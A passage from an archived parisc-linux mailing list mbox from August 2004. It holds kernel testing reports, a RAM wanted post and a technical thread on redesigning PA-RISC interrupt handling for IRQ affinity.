	i7V4NX45001645; Tue, 31 Aug 2004 00:23:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i7V4NXjb001644;
	Tue, 31 Aug 2004 00:23:33 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Aug 27, 2004 10:36:12 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21916

> > This is more important for you, approximately 48 hours ago, Linus
> > commited a fix for a signal handling race.
> > 
> > http://linux.bkbits.net:8080/linux-2.6/cset@1.1846.1.48?nav=index.html|Chang
> > eSet@-2d
> 
> I have the patch under test on hiauly6 with todays CVS.

I've been running this now for three days on hiauly6 with a 32-bit
2.6.8.1-pa7 kernel (default c3000 config) doing almost continuous gcc
builds.  Things seem pretty promising.  No random SIGSEGVs and expect
seems to be behaving itself.

> I had another SIGSEGV on gsyprf11.  It looks as if this was in /bin/sh
> although gdb doesn't say which program the fault ocurred in.

This is definitely not the case with the 64-bit SMP kernel on gsyprf11.
There I've been testing with an unpatched kernel.  Expect works better with
tcl8.3 but there are still some tests that fail when they shouldn't, and
the output with tests which produce a large amount of output gets
truncated.  With tcl8.4, expect has major problems.  The Tcl_Finalize
patch doesn't fix them.  I think we need to try Carlos's patch on a
64-bit SMP system to see if it helps the expect and SEGV problems.

I'm off to Korea early Thursday morning so I can't do much more on
this until I'm back in a couple of weeks.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ghub005 <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 748i RAM
Date: Wed, 1 Sep 2004 1:06:22 +1200
Lines: 15
Approved: news@gmane.org
Message-ID: <20040831130622.MBQE21194.mta1-rme.xtra.co.nz@[210.86.15.139]>
Reply-To: ghub005@xtra.co.nz
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623534 10857 80.91.229.3 (22 Nov 2014 02:32:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:14 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2035 invoked by uid 65534); 31 Aug 2004 13:07:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 31 Aug 2004 15:07:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 85F6A3BDFD; Tue, 31 Aug 2004 07:06:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09797-04; Tue, 31 Aug 2004 07:06:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 82BFB3BE14; Tue, 31 Aug 2004 07:06:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4AF33BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 07:06:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09797-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 07:06:25 -0600 (MDT)
Original-Received: from mta205-rme.xtra.co.nz (mta205-rme.xtra.co.nz [210.86.15.187])
	by free.linux.hp.com (Postfix) with ESMTP id 1A5643BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 07:06:24 -0600 (MDT)
Original-Received: from mta1-rme.xtra.co.nz ([210.86.15.186])
	by mta205-rme.xtra.co.nz with ESMTP
	id <20040831130622.KGWV3618.mta205-rme.xtra.co.nz@mta1-rme.xtra.co.nz>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 01:06:22 +1200
Original-Received: from [210.86.15.139] by mta1-rme.xtra.co.nz with SMTP
	id <20040831130622.MBQE21194.mta1-rme.xtra.co.nz@[210.86.15.139]>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 01:06:22 +1200
X-Originating-IP: [203.167.191.144]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21917

Hi

I'm looking for a 32MB or 64MB memory module for my 748i/64 system. If 
anybody has a part they want to sell, could they please email me off-list.

Best regards,

Gavin

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 09:13:47 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <200408310913.47637.bjorn.helgaas@hp.com>
References: <1093923097.3870.18.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623535 10859 80.91.229.3 (22 Nov 2014 02:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:15 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16380 invoked by uid 65534); 31 Aug 2004 15:14:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 31 Aug 2004 17:14:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 519203BE77; Tue, 31 Aug 2004 09:14:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11730-07; Tue, 31 Aug 2004 09:14:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7679E3BE78; Tue, 31 Aug 2004 09:13:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07A473BE69
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 09:13:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11730-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 09:13:51 -0600 (MDT)
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by free.linux.hp.com (Postfix) with ESMTP id C42443BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 09:13:50 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 6EAA237E8; Tue, 31 Aug 2004 11:13:50 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 9C24E41E93E; Tue, 31 Aug 2004 09:13:49 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 2E9941340F2;
	Tue, 31 Aug 2004 09:13:49 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 30109-01; Tue, 31 Aug 2004 09:13:48 -0600 (MDT)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 105A21340D4;
	Tue, 31 Aug 2004 09:13:48 -0600 (MDT)
User-Agent: KMail/1.6.2
In-Reply-To: <1093923097.3870.18.camel@mulgrave>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21918

On Monday 30 August 2004 9:31 pm, James Bottomley wrote:
> This arrangement means that parisc has 32 distinct interrupts for a 32
> bit kernel and 64 on a 64 bit kernel. 

You could support 32 (or 64) interrupts per processor if you wanted to,
though I think right now it's only 32 or 64 for the whole system.

> The newer iosapic interrupt controllers don't require
> this because every device attached to the iosapic can be programmed
> directly with a CPU EIRR address and bit number. 

Strictly speaking, iosapics are programmed with a 16-bit ID/EID (not
an actual EIRR address) and an 8-bit vector (not a 5- or 6-bit bit
number.)  I think the chipset is responsible for routing the ID/EID
to the correct processor, and on parisc, probably only 32 (or 64) of
the 256 possible vectors are usable.  I would guess that in addition
to routing based on ID/EID, the chipset also translates the vector
number to a 2^vector mask in the form the EIRR expects.

I think it would be good if parisc adopted the more generic concepts,
because it's a shame that ia64 and parisc have such totally different
code to drive the identical iosapic hardware.

> This scheme should move us entirely over to the use of generic interrupt
> descriptors and allow the affinity setting of those interrupts which are
> susceptible to it (namely only the directly accessible EIRR interrupts).
> Any comments before I actually try this?

I think this is great (though I don't know all the details of parisc
interrupt controllers).
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 11:14:21 -0600
Lines: 131
Approved: news@gmane.org
Message-ID: <20040831171421.GC20353@colo.lackof.org>
References: <1093923097.3870.18.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623535 10861 80.91.229.3 (22 Nov 2014 02:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:15 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19920 invoked by uid 65534); 31 Aug 2004 17:14:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 31 Aug 2004 19:14:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D544F3BE7D; Tue, 31 Aug 2004 11:14:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12932-04; Tue, 31 Aug 2004 11:14:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 630743BE5D; Tue, 31 Aug 2004 11:14:30 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08D483BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:14:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11784-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:14:24 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 71F563BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:14:24 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 70E8F298121; Tue, 31 Aug 2004 11:14:23 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21102-10; Tue, 31 Aug 2004 11:14:21 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 967A7298117; Tue, 31 Aug 2004 11:14:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1093923097.3870.18.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21919

On Mon, Aug 30, 2004 at 11:31:30PM -0400, James Bottomley wrote:
> IRQ affinity really only applies to SMP systems.  However, this proposal
> will alter the interrupt layout even on UP systems, so if you care about
> that sort of thing, read on. 

*sigh*...that's me, written in big letters on my forehead. :^)

> External interrupts on parisc processors are triggered by writing to the
> memory mapped control register EIRR (cr23).

I don't think this is techinically accurate. The data value written to
the CPU's memory mapped register is transmitted across the bus as is.
This external facing register then converts the (5 or 6 bits for PARISC)
value to a bit mask before it reaches CR23 (EIRR).
IIRC, the PA2.0 I/O ACD defines how the CPU MMIO space is laid out.

> EIRR into memory is per processor, and usually programmed into external
> devices, the upshot is that each external device usually sents an
> interrupt to a specific processor.  The implementation of IRQ affinity
> would allow us to redesignate a given interrupt to go to a different CPU
> (this would mean, for instance, that we could run the user daemon
> irqbalanced to balance out all our interrupts among all the processors).

Thibaut and I started on this last year but didn't get to finish it.
The net result is we have to dump the struct irq_region everywhere 
and replace it with a global IRQ array.

> There is, however, a bus based complication: not all parisc busses allow
> an arbitrary device to send and interrupt to a CPU directly.  In
> general, the older bus controllers: dino, cujo, etc cannot do this,

AFAIK, this is only true for HP V-class.
And only because of some deficiency in the EPAC (CPU to X-bar chip?).
It's not true for every other parisc platform I'm aware of.

PCI and GSC devices can master their own Transaction Based Interrupt (TBI).
GSC device's EIM register are programmed directly with the target address
and vector. PCI devices can master their own TBI if they can be told
which address/data pair to use. E.g. clever scripting for NCR/SYM
scsi chips would allow this and in fact HPUX 10.x c720 SCSI driver does.
Otherwise PCI 2.2 (and later) devices can use MSI or MSI-X to
the same effect. We just need to write the support glue
to make it work for parisc.

>  with
> the result that processing interrupts in these busses is two-phase. 
> When a device interrupts, the irq is fielded by the dino controller,
> which has an interrupt register to interrogate the dino specific lines
> and see which actual device interrupted and execute the appropriate irq
> handling routine. The newer iosapic interrupt controllers don't require
> this because every device attached to the iosapic can be programmed
> directly with a CPU EIRR address and bit number. 

Only one nit: s/every device/every IRQ line/

In all cases, the interrupt controller is a surrogate which converts
the line based interrupt into a TBI.

> The current parisc scheme involves IRQ regions.  Each region is tied to
> a particular EIRR bit (CPU irq number)

Not exactly. An IRQ region groups a bunch of IRQ sources which are managed
by one instance of the interrupt controller driver.

Simple examples to look are the CPU, dino, or lasi IRQ support.
In those cases, a single register maps bits to "downstream" interrupt
sources. We read the register and call the Interrupt Service Routines (ISR)
which correspond to specific bits.

SAPIC is a more complicated since it involves multiple parents.
But the same idea applies: each interrupt source was one entry
in the "region". 

> and also contains all the
> interrupt designations for the older bus multiplexing as components of
> the irq_region.  This is ideal for the older busses, but a bit wasteful
> in the iosapic which doesn't need the intermediate interruption
> information. 

Well, as long as the IRQ line isn't shared, that's true...

> The new proposal is to sweep away irq regions completely and instead use
> the generic struct hw_interrupt_type from linux/irq.h 
>
> The way this would work is that we'd designate a new cpu_irq array
> statically for 32 or 64 of these structures (one per bit in the EIRR). 
> 
> The iosapic would be allowed simply to allocate a free one of these
> (according to the usual IRQ sharing rules) for any device that needed an
> interrupt. 
> 
> An older bus would allocate a single one, but would then register a
> separate vector of interrupts (also a vector of struct
> hw_interrupt_type) along with a callback to select the correct vector
> for subsequent execution. 

I'd rather see one global array (at least 256 entries) with the CPU
(and similar devices) getting a fixed number of consecutive entries.
We should probably reserve the first 16 entries for EISA/ISA support
like we did before.

> The hw_interrupt_type structure contains an affinity setting callback
> (set_affinity) which can be used to adjust the affinity either
> internally or via the /proc interface.  We would expose only the CPU
> interrupts (first 32 or 64) as capable of having altered affinity (the
> remaining older bus interrupts, being effectively slaved to the affinity
> of the corresponding CPU interrupts would have a NULL set_affinity
> callback). 

Sounds good. That will work.

> This scheme should move us entirely over to the use of generic interrupt
> descriptors and allow the affinity setting of those interrupts which are
> susceptible to it (namely only the directly accessible EIRR interrupts).
> Any comments before I actually try this?

It's alot of work. I think that's why thibaut and I ran out of steam
before we finished it. I expect much of the work we did before would
still apply.

Thibaut, you still have a diff or source laying around from that effort?
I might but can't find it right now.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: 31 Aug 2004 13:29:32 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <1093973378.3642.5.camel@mulgrave>
References: <1093923097.3870.18.camel@mulgrave> 
	<200408310913.47637.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623535 10863 80.91.229.3 (22 Nov 2014 02:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:15 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5369 invoked by uid 65534); 31 Aug 2004 17:30:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 31 Aug 2004 19:30:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0A4E23BE85; Tue, 31 Aug 2004 11:30:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12894-10; Tue, 31 Aug 2004 11:30:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1D9883BE77; Tue, 31 Aug 2004 11:29:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41C3A3BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:29:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12894-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:29:46 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 58BB23BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:29:45 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i7VHTcJ07999; Tue, 31 Aug 2004 13:29:39 -0400
In-Reply-To: <200408310913.47637.bjorn.helgaas@hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21920

On Tue, 2004-08-31 at 11:13, Bjorn Helgaas wrote:
> You could support 32 (or 64) interrupts per processor if you wanted to,
> though I think right now it's only 32 or 64 for the whole system.

Yes, but in order to do the affinity thing, we have to make it appear as
if a single interrupt vector potentially belongs to all CPUs...

> Strictly speaking, iosapics are programmed with a 16-bit ID/EID (not
> an actual EIRR address) and an 8-bit vector (not a 5- or 6-bit bit
> number.)  I think the chipset is responsible for routing the ID/EID
> to the correct processor, and on parisc, probably only 32 (or 64) of
> the 256 possible vectors are usable.  I would guess that in addition
> to routing based on ID/EID, the chipset also translates the vector
> number to a 2^vector mask in the form the EIRR expects.

Yes, I'm sorry, sloppy terminology.  I don't actually have any iosapic
based machines, so I only had to muck with the iosapic once getting an
a500 SMP working...I was going from memory instead of actually looking
in the code.

> I think it would be good if parisc adopted the more generic concepts,
> because it's a shame that ia64 and parisc have such totally different
> code to drive the identical iosapic hardware.

I agree.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 11:43:15 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <200408311143.15493.bjorn.helgaas@hp.com>
